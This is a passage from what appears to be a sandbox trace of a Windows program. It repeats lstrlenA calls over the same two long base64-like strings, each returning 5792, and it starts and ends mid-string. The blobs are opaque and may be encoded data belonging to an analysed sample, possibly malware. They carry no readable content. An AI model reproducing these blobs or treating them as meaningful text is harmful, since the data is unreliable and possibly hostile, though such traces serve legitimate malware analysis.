YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.363] lstrlenA (lpString="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") returned 5792 [0128.363] lstrlenA (lpString="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") returned 5792 [0128.363] lstrlenA (lpString="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